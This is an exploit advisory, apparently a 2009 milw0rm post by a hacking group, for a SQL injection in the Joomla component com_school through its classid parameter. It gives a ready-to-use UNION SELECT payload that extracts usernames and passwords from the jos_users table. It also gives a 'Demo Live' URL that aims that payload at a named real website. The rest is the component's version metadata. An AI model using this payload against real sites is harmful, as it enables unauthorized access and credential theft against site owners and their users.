41 lines
No EOL
1.3 KiB
Text
41 lines
No EOL
1.3 KiB
Text
----------------------------------------------------------------------
|
|
Joomla Component com_school (classid) SQL injection Vulnerability
|
|
----------------------------------------------------------------------
|
|
|
|
###################################################
|
|
[+] Author : Chip D3 Bi0s
|
|
[+] Email : chipdebios[alt+64]gmail.com
|
|
[+] Group : LatinHackTeam
|
|
[+] Vulnerability : SQL injection
|
|
###################################################
|
|
|
|
________________________________________________________
|
|
|
|
Example:
|
|
|
|
http://localHost/path/index.php?option=com_school&Itemid=null&func=showclass&classid=<sql Code>
|
|
|
|
<Sql Code>:
|
|
-null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*
|
|
|
|
|
|
Demo Live:
|
|
http://www.mariadecervello.com/index.php?option=com_school&Itemid=null&func=showclass&classid=-null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++
|
|
[!] Produced in South America
|
|
------------------------------------
|
|
|
|
|
|
<name>school</name>
|
|
<creationDate>18 July 2006</creationDate>
|
|
<author>Soner (pisdoktor) Ekici - Alex Chaparro</author>
|
|
<copyright>
|
|
This component in released under the GNU/GPL License
|
|
</copyright>
|
|
<authorEmail>damj3t@gmail.com</authorEmail>
|
|
<authorUrl>www.joomla.cl</authorUrl>
|
|
<version>1.4</version>
|
|
|
|
# milw0rm.com [2009-06-08] |